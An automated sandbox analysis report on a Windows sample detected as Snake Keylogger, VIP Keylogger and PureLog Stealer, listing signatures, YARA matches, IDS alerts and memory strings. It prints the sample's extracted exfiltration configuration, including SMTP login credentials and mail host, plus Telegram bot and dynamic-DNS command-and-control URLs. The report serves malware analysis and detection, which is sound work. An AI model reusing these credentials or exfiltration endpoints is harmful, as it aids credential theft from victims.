Edit tour

Windows Analysis Report
kP8EgMorTr.exe

Overview

General Information

Sample name:	kP8EgMorTr.exe renamed because original name is a hash value
Original sample name:	6889d04a51c7a76b2ab1b4161b2b5e5d17dc2780e29dcc78b41460f982986786.exe
Analysis ID:	1584668
MD5:	8a51bda9c0cd3d8519c1156dfa39426b
SHA1:	bf1e7be7d44cf1f7499ee43d35aad3d9f8684b28
SHA256:	6889d04a51c7a76b2ab1b4161b2b5e5d17dc2780e29dcc78b41460f982986786
Tags:	exeSnakeKeyloggeruser-zhuzhu0009
Infos:

Detection

PureLog Stealer, Snake Keylogger, VIP Keylogger

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected AntiVM3

Yara detected PureLog Stealer

Yara detected Snake Keylogger

Yara detected Telegram RAT

Yara detected VIP Keylogger

.NET source code contains method to dynamically call methods (often used by packers)

.NET source code contains potential unpacker

AI detected suspicious sample

Machine Learning detection for sample

Tries to detect the country of the analysis system (by using the IP)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Mail credentials (via file / registry access)

Uses the Telegram API (likely for C&C communication)

Yara detected Generic Downloader

Abnormal high CPU Usage

Allocates memory with a write watch (potentially for evading sandboxes)

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found inlined nop instructions (likely shell or obfuscated code)

HTTP GET or POST without a user agent

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

kP8EgMorTr.exe (PID: 7276 cmdline: "C:\Users\user\Desktop\kP8EgMorTr.exe" MD5: 8A51BDA9C0CD3D8519C1156DFA39426B)

kP8EgMorTr.exe (PID: 7432 cmdline: "C:\Users\user\Desktop\kP8EgMorTr.exe" MD5: 8A51BDA9C0CD3D8519C1156DFA39426B)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
404 Keylogger, Snake Keylogger	Snake Keylogger (aka 404 Keylogger) is a subscription-based keylogger that has many capabilities. The infostealer can steal a victims sensitive information, log keyboard strokes, take screenshots and extract information from the system clipboard. It was initially released on a Russian hacking forum in August 2019. It is notable for its relatively unusual methods of data exfiltration, including via email, FTP, SMTP, Pastebin or the messaging app Telegram.	No Attribution	https://any.run/cybersecurity-blog/analyzing-snake-keylogger/ https://any.run/cybersecurity-blog/reverse-engineering-snake-keylogger/ https://blog.netlab.360.com/purecrypter https://blog.nviso.eu/2022/04/06/analyzing-a-multilayer-maldoc-a-beginners-guide/ https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord	https://malpedia.caad.fkie.fraunhofer.de/details/win.404keylogger

Malware Configuration

Threatname: VIP Keylogger

{"Exfil Mode": "SMTP", "Email ID": "logistics@aruzen.co.in", "Password": "Pawsad-xovwut-2zoxso", "Host": "mail.aruzen.co.in", "Port": "587"}

Threatname: Snake Keylogger

{"Exfil Mode": "SMTP", "Username": "logistics@aruzen.co.in", "Password": "Pawsad-xovwut-2zoxso", "Host": "mail.aruzen.co.in", "Port": "587", "Version": "4.4"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000000.00000002.1254420339.00000000052D0000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
00000003.00000002.3697868899.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000003.00000002.3697868899.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
00000003.00000002.3697868899.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000003.00000002.3697868899.0000000000402000.00000040.00000400.00020000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2d703:$a1: get_encryptedPassword 0x2da20:$a2: get_encryptedUsername 0x2d513:$a3: get_timePasswordChanged 0x2d61c:$a4: get_passwordField 0x2d719:$a5: set_encryptedPassword 0x2edda:$a7: get_logins 0x2ed3d:$a10: KeyLoggerEventArgs 0x2e9a2:$a11: KeyLoggerEventArgsEventHandler
00000003.00000002.3699670660.00000000032F1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
00000000.00000002.1249756112.0000000003729000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.1249756112.0000000003729000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
00000000.00000002.1249756112.0000000003729000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000000.00000002.1249756112.0000000003729000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
00000000.00000002.1249756112.0000000003729000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2e273:$a1: get_encryptedPassword 0x19b7fb:$a1: get_encryptedPassword 0x1de81b:$a1: get_encryptedPassword 0x2e590:$a2: get_encryptedUsername 0x19bb18:$a2: get_encryptedUsername 0x1deb38:$a2: get_encryptedUsername 0x2e083:$a3: get_timePasswordChanged 0x19b60b:$a3: get_timePasswordChanged 0x1de62b:$a3: get_timePasswordChanged 0x2e18c:$a4: get_passwordField 0x19b714:$a4: get_passwordField 0x1de734:$a4: get_passwordField 0x2e289:$a5: set_encryptedPassword 0x19b811:$a5: set_encryptedPassword 0x1de831:$a5: set_encryptedPassword 0x2f94a:$a7: get_logins 0x19ced2:$a7: get_logins 0x1dfef2:$a7: get_logins 0x2f8ad:$a10: KeyLoggerEventArgs 0x19ce35:$a10: KeyLoggerEventArgs 0x1dfe55:$a10: KeyLoggerEventArgs
Process Memory Space: kP8EgMorTr.exe PID: 7276	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: kP8EgMorTr.exe PID: 7276	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: kP8EgMorTr.exe PID: 7276	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
Process Memory Space: kP8EgMorTr.exe PID: 7276	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Process Memory Space: kP8EgMorTr.exe PID: 7276	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x3b2a:$a1: get_encryptedPassword 0x3e3d:$a2: get_encryptedUsername 0x3944:$a3: get_timePasswordChanged 0x3a4d:$a4: get_passwordField 0x3b40:$a5: set_encryptedPassword 0x5ff2:$a7: get_logins 0x5f55:$a10: KeyLoggerEventArgs 0x5bbe:$a11: KeyLoggerEventArgsEventHandler
Process Memory Space: kP8EgMorTr.exe PID: 7432	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: kP8EgMorTr.exe PID: 7432	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
Process Memory Space: kP8EgMorTr.exe PID: 7432	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Process Memory Space: kP8EgMorTr.exe PID: 7432	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x58c1c:$a1: get_encryptedPassword 0x58f2f:$a2: get_encryptedUsername 0x58a36:$a3: get_timePasswordChanged 0x58b3f:$a4: get_passwordField 0x58c32:$a5: set_encryptedPassword 0x5b0e4:$a7: get_logins 0x5b047:$a10: KeyLoggerEventArgs 0x5acb0:$a11: KeyLoggerEventArgsEventHandler
Click to see the 15 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.kP8EgMorTr.exe.52d0000.3.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0.2.kP8EgMorTr.exe.52d0000.3.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0.2.kP8EgMorTr.exe.3896ef8.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.kP8EgMorTr.exe.3896ef8.0.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
0.2.kP8EgMorTr.exe.3896ef8.0.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
0.2.kP8EgMorTr.exe.3896ef8.0.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2bb03:$a1: get_encryptedPassword 0x2be20:$a2: get_encryptedUsername 0x2b913:$a3: get_timePasswordChanged 0x2ba1c:$a4: get_passwordField 0x2bb19:$a5: set_encryptedPassword 0x2d1da:$a7: get_logins 0x2d13d:$a10: KeyLoggerEventArgs 0x2cda2:$a11: KeyLoggerEventArgsEventHandler
0.2.kP8EgMorTr.exe.3896ef8.0.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x397c2:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x38e65:$a3: \Google\Chrome\User Data\Default\Login Data 0x390c2:$a4: \Orbitum\User Data\Default\Login Data 0x39aa1:$a5: \Kometa\User Data\Default\Login Data
0.2.kP8EgMorTr.exe.3896ef8.0.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2c72e:$s1: UnHook 0x2c735:$s2: SetHook 0x2c73d:$s3: CallNextHook 0x2c74a:$s4: _hook
3.2.kP8EgMorTr.exe.400000.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
3.2.kP8EgMorTr.exe.400000.0.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
3.2.kP8EgMorTr.exe.400000.0.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
3.2.kP8EgMorTr.exe.400000.0.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
0.2.kP8EgMorTr.exe.3729970.1.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.kP8EgMorTr.exe.3729970.1.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
0.2.kP8EgMorTr.exe.3729970.1.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
3.2.kP8EgMorTr.exe.400000.0.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2d903:$a1: get_encryptedPassword 0x2dc20:$a2: get_encryptedUsername 0x2d713:$a3: get_timePasswordChanged 0x2d81c:$a4: get_passwordField 0x2d919:$a5: set_encryptedPassword 0x2efda:$a7: get_logins 0x2ef3d:$a10: KeyLoggerEventArgs 0x2eba2:$a11: KeyLoggerEventArgsEventHandler
0.2.kP8EgMorTr.exe.3729970.1.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2bb03:$a1: get_encryptedPassword 0x2be20:$a2: get_encryptedUsername 0x2b913:$a3: get_timePasswordChanged 0x2ba1c:$a4: get_passwordField 0x2bb19:$a5: set_encryptedPassword 0x2d1da:$a7: get_logins 0x2d13d:$a10: KeyLoggerEventArgs 0x2cda2:$a11: KeyLoggerEventArgsEventHandler
3.2.kP8EgMorTr.exe.400000.0.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x3b5c2:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x3ac65:$a3: \Google\Chrome\User Data\Default\Login Data 0x3aec2:$a4: \Orbitum\User Data\Default\Login Data 0x3b8a1:$a5: \Kometa\User Data\Default\Login Data
3.2.kP8EgMorTr.exe.400000.0.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2e52e:$s1: UnHook 0x2e535:$s2: SetHook 0x2e53d:$s3: CallNextHook 0x2e54a:$s4: _hook
0.2.kP8EgMorTr.exe.3729970.1.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x397c2:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x38e65:$a3: \Google\Chrome\User Data\Default\Login Data 0x390c2:$a4: \Orbitum\User Data\Default\Login Data 0x39aa1:$a5: \Kometa\User Data\Default\Login Data
0.2.kP8EgMorTr.exe.3729970.1.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2c72e:$s1: UnHook 0x2c735:$s2: SetHook 0x2c73d:$s3: CallNextHook 0x2c74a:$s4: _hook
0.2.kP8EgMorTr.exe.3896ef8.0.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.kP8EgMorTr.exe.3896ef8.0.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
0.2.kP8EgMorTr.exe.3896ef8.0.raw.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
0.2.kP8EgMorTr.exe.3896ef8.0.raw.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
0.2.kP8EgMorTr.exe.3896ef8.0.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2d903:$a1: get_encryptedPassword 0x70923:$a1: get_encryptedPassword 0x2dc20:$a2: get_encryptedUsername 0x70c40:$a2: get_encryptedUsername 0x2d713:$a3: get_timePasswordChanged 0x70733:$a3: get_timePasswordChanged 0x2d81c:$a4: get_passwordField 0x7083c:$a4: get_passwordField 0x2d919:$a5: set_encryptedPassword 0x70939:$a5: set_encryptedPassword 0x2efda:$a7: get_logins 0x71ffa:$a7: get_logins 0x2ef3d:$a10: KeyLoggerEventArgs 0x71f5d:$a10: KeyLoggerEventArgs 0x2eba2:$a11: KeyLoggerEventArgsEventHandler 0x71bc2:$a11: KeyLoggerEventArgsEventHandler
0.2.kP8EgMorTr.exe.3896ef8.0.raw.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2e52e:$s1: UnHook 0x7154e:$s1: UnHook 0x2e535:$s2: SetHook 0x71555:$s2: SetHook 0x2e53d:$s3: CallNextHook 0x7155d:$s3: CallNextHook 0x2e54a:$s4: _hook 0x7156a:$s4: _hook
0.2.kP8EgMorTr.exe.380fad8.2.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.kP8EgMorTr.exe.380fad8.2.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
0.2.kP8EgMorTr.exe.380fad8.2.raw.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
0.2.kP8EgMorTr.exe.380fad8.2.raw.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
0.2.kP8EgMorTr.exe.380fad8.2.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0xb4d23:$a1: get_encryptedPassword 0xf7d43:$a1: get_encryptedPassword 0xb5040:$a2: get_encryptedUsername 0xf8060:$a2: get_encryptedUsername 0xb4b33:$a3: get_timePasswordChanged 0xf7b53:$a3: get_timePasswordChanged 0xb4c3c:$a4: get_passwordField 0xf7c5c:$a4: get_passwordField 0xb4d39:$a5: set_encryptedPassword 0xf7d59:$a5: set_encryptedPassword 0xb63fa:$a7: get_logins 0xf941a:$a7: get_logins 0xb635d:$a10: KeyLoggerEventArgs 0xf937d:$a10: KeyLoggerEventArgs 0xb5fc2:$a11: KeyLoggerEventArgsEventHandler 0xf8fe2:$a11: KeyLoggerEventArgsEventHandler
0.2.kP8EgMorTr.exe.380fad8.2.raw.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0xb594e:$s1: UnHook 0xf896e:$s1: UnHook 0xb5955:$s2: SetHook 0xf8975:$s2: SetHook 0xb595d:$s3: CallNextHook 0xf897d:$s3: CallNextHook 0xb596a:$s4: _hook 0xf898a:$s4: _hook
0.2.kP8EgMorTr.exe.3729970.1.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.kP8EgMorTr.exe.3729970.1.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
0.2.kP8EgMorTr.exe.3729970.1.raw.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
0.2.kP8EgMorTr.exe.3729970.1.raw.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
0.2.kP8EgMorTr.exe.3729970.1.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0.2.kP8EgMorTr.exe.3729970.1.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2d903:$a1: get_encryptedPassword 0x19ae8b:$a1: get_encryptedPassword 0x1ddeab:$a1: get_encryptedPassword 0x2dc20:$a2: get_encryptedUsername 0x19b1a8:$a2: get_encryptedUsername 0x1de1c8:$a2: get_encryptedUsername 0x2d713:$a3: get_timePasswordChanged 0x19ac9b:$a3: get_timePasswordChanged 0x1ddcbb:$a3: get_timePasswordChanged 0x2d81c:$a4: get_passwordField 0x19ada4:$a4: get_passwordField 0x1dddc4:$a4: get_passwordField 0x2d919:$a5: set_encryptedPassword 0x19aea1:$a5: set_encryptedPassword 0x1ddec1:$a5: set_encryptedPassword 0x2efda:$a7: get_logins 0x19c562:$a7: get_logins 0x1df582:$a7: get_logins 0x2ef3d:$a10: KeyLoggerEventArgs 0x19c4c5:$a10: KeyLoggerEventArgs 0x1df4e5:$a10: KeyLoggerEventArgs
0.2.kP8EgMorTr.exe.3729970.1.raw.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2e52e:$s1: UnHook 0x19bab6:$s1: UnHook 0x1dead6:$s1: UnHook 0x2e535:$s2: SetHook 0x19babd:$s2: SetHook 0x1deadd:$s2: SetHook 0x2e53d:$s3: CallNextHook 0x19bac5:$s3: CallNextHook 0x1deae5:$s3: CallNextHook 0x2e54a:$s4: _hook 0x19bad2:$s4: _hook 0x1deaf2:$s4: _hook
Click to see the 35 entries

Suricata Signatures

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-06T07:41:11.372807+0100	2803305	3	Unknown Traffic	192.168.2.7	49706	188.114.97.3	443	TCP
2025-01-06T07:41:25.823569+0100	2803305	3	Unknown Traffic	192.168.2.7	49784	188.114.97.3	443	TCP

ETPRO MALWARE Common Downloader Header Pattern UH

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-06T07:41:07.750465+0100	2803274	2	Potentially Bad Traffic	192.168.2.7	49701	132.226.8.169	80	TCP
2025-01-06T07:41:10.813013+0100	2803274	2	Potentially Bad Traffic	192.168.2.7	49701	132.226.8.169	80	TCP
2025-01-06T07:41:14.219249+0100	2803274	2	Potentially Bad Traffic	192.168.2.7	49707	132.226.8.169	80	TCP
2025-01-06T07:41:15.625492+0100	2803274	2	Potentially Bad Traffic	192.168.2.7	49709	132.226.8.169	80	TCP
2025-01-06T07:41:19.984901+0100	2803274	2	Potentially Bad Traffic	192.168.2.7	49717	132.226.8.169	80	TCP
2025-01-06T07:41:20.969278+0100	2803274	2	Potentially Bad Traffic	192.168.2.7	49741	132.226.8.169	80	TCP
2025-01-06T07:41:22.422409+0100	2803274	2	Potentially Bad Traffic	192.168.2.7	49753	132.226.8.169	80	TCP

Joe Security ANOMALY Telegram Send Message

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-06T07:41:26.698067+0100	1810007	1	Potentially Bad Traffic	192.168.2.7	49790	149.154.167.220	443	TCP

HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Mon, 06 Jan 2025 06:41:26 GMTContent-Type: application/jsonContent-Length: 55Connection: closeStrict-Transport-Security: max-age=31536000; includeSubDomains; preloadAccess-Control-Allow-Origin: *Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection

Source: kP8EgMorTr.exe, 00000000.00000002.1249756112.0000000003729000.00000004.00000800.00020000.00000000.sdmp, kP8EgMorTr.exe, 00000003.00000002.3697868899.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://51.38.247.67:8081/_send_.php?LCapplication/x-www-form-urlencoded
Source: kP8EgMorTr.exe, 00000000.00000002.1249756112.0000000003729000.00000004.00000800.00020000.00000000.sdmp, kP8EgMorTr.exe, 00000003.00000002.3697868899.0000000000402000.00000040.00000400.00020000.00000000.sdmp, kP8EgMorTr.exe, 00000003.00000002.3699670660.00000000032F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://aborters.duckdns.org:8081
Source: kP8EgMorTr.exe, 00000000.00000002.1249756112.0000000003729000.00000004.00000800.00020000.00000000.sdmp, kP8EgMorTr.exe, 00000003.00000002.3697868899.0000000000402000.00000040.00000400.00020000.00000000.sdmp, kP8EgMorTr.exe, 00000003.00000002.3699670660.00000000032F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anotherarmy.dns.army:8081
Source: kP8EgMorTr.exe, 00000003.00000002.3699670660.00000000032F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org
Source: kP8EgMorTr.exe, 00000003.00000002.3699670660.00000000032F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/
Source: kP8EgMorTr.exe, 00000000.00000002.1249756112.0000000003729000.00000004.00000800.00020000.00000000.sdmp, kP8EgMorTr.exe, 00000003.00000002.3697868899.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/q
Source: kP8EgMorTr.exe, 00000003.00000002.3699670660.00000000032F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: kP8EgMorTr.exe, 00000000.00000002.1249756112.0000000003729000.00000004.00000800.00020000.00000000.sdmp, kP8EgMorTr.exe, 00000003.00000002.3697868899.0000000000402000.00000040.00000400.00020000.00000000.sdmp, kP8EgMorTr.exe, 00000003.00000002.3699670660.00000000032F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://varders.kozow.com:8081
Source: kP8EgMorTr.exe	String found in binary or memory: http://www.omdbapi.com/?t=)&y=&plot=long&r=json
Source: kP8EgMorTr.exe, 00000003.00000002.3702114001.0000000004311000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: kP8EgMorTr.exe, 00000003.00000002.3699670660.00000000033DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org
Source: kP8EgMorTr.exe, 00000000.00000002.1249756112.0000000003729000.00000004.00000800.00020000.00000000.sdmp, kP8EgMorTr.exe, 00000003.00000002.3699670660.00000000033DA000.00000004.00000800.00020000.00000000.sdmp, kP8EgMorTr.exe, 00000003.00000002.3697868899.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot
Source: kP8EgMorTr.exe, 00000003.00000002.3699670660.00000000033DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot/sendMessage?chat_id=&text=
Source: kP8EgMorTr.exe, 00000003.00000002.3699670660.00000000033DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:927537%0D%0ADate%20a
Source: kP8EgMorTr.exe, 00000003.00000002.3702114001.0000000004311000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: kP8EgMorTr.exe, 00000003.00000002.3702114001.0000000004311000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: kP8EgMorTr.exe, 00000003.00000002.3702114001.0000000004311000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: kP8EgMorTr.exe, 00000003.00000002.3699670660.0000000003487000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore?hl=en
Source: kP8EgMorTr.exe, 00000003.00000002.3699670660.0000000003482000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore?hl=enlB
Source: kP8EgMorTr.exe, 00000003.00000002.3702114001.0000000004311000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: kP8EgMorTr.exe, 00000003.00000002.3702114001.0000000004311000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: kP8EgMorTr.exe, 00000003.00000002.3702114001.0000000004311000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: kP8EgMorTr.exe, 00000003.00000002.3699670660.00000000033B2000.00000004.00000800.00020000.00000000.sdmp, kP8EgMorTr.exe, 00000003.00000002.3699670660.00000000033DA000.00000004.00000800.00020000.00000000.sdmp, kP8EgMorTr.exe, 00000003.00000002.3699670660.0000000003342000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org
Source: kP8EgMorTr.exe, 00000000.00000002.1249756112.0000000003729000.00000004.00000800.00020000.00000000.sdmp, kP8EgMorTr.exe, 00000003.00000002.3697868899.0000000000402000.00000040.00000400.00020000.00000000.sdmp, kP8EgMorTr.exe, 00000003.00000002.3699670660.0000000003342000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/
Source: kP8EgMorTr.exe, 00000003.00000002.3699670660.0000000003342000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/8.46.123.189
Source: kP8EgMorTr.exe, 00000003.00000002.3699670660.000000000336C000.00000004.00000800.00020000.00000000.sdmp, kP8EgMorTr.exe, 00000003.00000002.3699670660.00000000033B2000.00000004.00000800.00020000.00000000.sdmp, kP8EgMorTr.exe, 00000003.00000002.3699670660.00000000033DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/8.46.123.189$
Source: kP8EgMorTr.exe, 00000003.00000002.3702114001.0000000004311000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: kP8EgMorTr.exe, 00000003.00000002.3702114001.0000000004311000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: kP8EgMorTr.exe, 00000003.00000002.3699670660.00000000034B8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.office.com/
Source: kP8EgMorTr.exe, 00000003.00000002.3699670660.00000000034B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.office.com/lB

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443

Source: unknown

HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.7:49790 version: TLS 1.2

System Summary

Malicious sample detected (through community Yara rule)

Source: 0.2.kP8EgMorTr.exe.3896ef8.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
